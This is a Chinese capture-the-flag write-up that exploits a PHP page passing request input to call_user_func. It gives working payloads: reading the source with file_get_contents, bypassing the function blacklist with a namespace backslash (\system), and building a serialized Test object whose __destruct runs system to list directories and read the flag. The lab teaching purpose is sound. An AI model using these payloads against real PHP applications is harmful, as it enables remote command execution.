题目:
注意到页面每5秒刷新一次
看url知道本页是index.php
右键查看源代码看看有没有更多信息
找到一块js代码
setTimeout("document.form1.submit()",5000)每5秒提交一次form1表单
我们接着找到这个form1表单,一般表单名字是用id='表单名字'表示的
找到了id=form1的表单
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
这个表单让index.php用post方式提交两个参数,func和p,func的值为date,p值Y-m-d h:i:s a
bp抓单也发现是这样提交的,func=data,p=Y-m-d h:i:s a 作为两个参数提交
data是php里的一个函数,貌似是日期计时的作用
注意到Y-m-d h:i:s a和页面中那个不断变化的2023-11-25 12:38:57 am的格式非常接近
怀疑这里是这样调用的,func(p),即data(Y-m-d h:i:s a)
接收func和p,执行PHP内的date函数和格式化的Y-m-d h:i:s a,然后输出结果。既然这样,猜想一下在PHP内,执行$func="date",肯定是没有问题的,但是如果提交的不是date,而是system,或exec呢?
可以测试一下
用php内的md5函数测试一下,123经过md5加密后的值是202cb962ac59075b964b07152d234b70,如果成功执行回显在网页上,猜测就正确
index.php用post方式提交func和p参数
我们令func为md5,p为123,post提交
payload:
func=md5&p=123
返回了123的md5值,说明这里是md5(123)这么执行的
尝试代码执行,system函数
func=system&p=ls /
被检测了,猜测是有黑名单 检测函数名
可以fuzz函数名,
没有太好的字典,但是可以知道响应长度562是黑名单里的函数,system和exec都在
看到file不在检测的范围内, 猜测黑名单在index.php源码里,想到file_get_contents函数可以读取文件源码,试试能不能获取黑名单以及更多信息
让他这样file_get_contents(index.php)
payload:
func=file_get_contents&p=index.php
读到了,
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
定义了一个$disable_fun,里面是一个黑名单数组
file_put_contents都过滤了,刚好file_get_contents没过滤,
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);//调调用传递函数,并返回函数运行的结果(本例中即为执行$func($p))
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {//非空
$func = strtolower($func);//转小写
if (!in_array($func,$disable_fun)) {//判断是否存在黑名单
echo gettime($func, $p);//如果不存在则调用gettime,把funchep传入
}else {
die("Hacker...");//报错
}
}
?>
方法一:
首先判断反斜杠是否存在黑名单,在的话不能用
本题不在
php内的" \ "在做代码执行的时候,会识别特殊字符串,帮助后面的内容绕过黑名单
payload:func=\system&p=ls /
读取当前目录下的文件
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
没看到flag相关的文件
可以使用命令全局查找文件名中有flag的相关文件
system(find / -name flag*)
payload:func=\system&p=find / -name flag*
查询到很多flag...的文件,文件/tmp/flagoefiu4r93名字最特别,先试这个
flag出来了
方法二:
这种方法就是大部分答案写的反序列化得flag手段
首先看下刚才index.php源码内的一串代码
这里定义了一个类Test
class Test {
var $p = "Y-m-d h:i:s a";//定义p和func
var $func = "date";
function __destruct() {//对象被创建时自动调用
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
思路:用反序列化的方式调用命令执行函数system,
提交func为unserialize,
提交p为我们设计的test类序列化后的字符串
然后反序列化test类
即unserialize(p)
就能执行我们想要执行的命令,调用想要调用的方法
设计test类
构造查看根目录有哪些文件的语句
system(ls -alh /)
<?php
class Test{
public $func;
public $p;
}
$a=new Test(); //实例化test类,变为一个对象
$a->func="system"; //自定义func的属性值
$a->p="ls -alh /"; //自定义p的属性值
echo urlencode(serialize($a)); //url编码,避免有些东西看不到,比如%00空字符等等
?>
发现没什么空字符,url编码去掉,看更清晰
得到字符串
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:9:"ls -alh /";}
func传入unserialize,p传入这个字符串,执行出来就是system(ls -alh /)
同样的道理,这里找不到flag,就再次设计test类,构造全局查找flag文件的payload
<?php
class Test{
public $func;
public $p;
}
$a=new Test();
$a->func="system";
$a->p="find / -name flag*";
echo urlencode(serialize($a));
?>
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
找到flag文件后
最后构造查询payload
<?php
class Test{
public $func;
public $p;
}
$a=new Test();
$a->func="system";
$a->p="cat /tmp/flagoefiu4r93";
echo serialize($a);
?>
提交得到flag了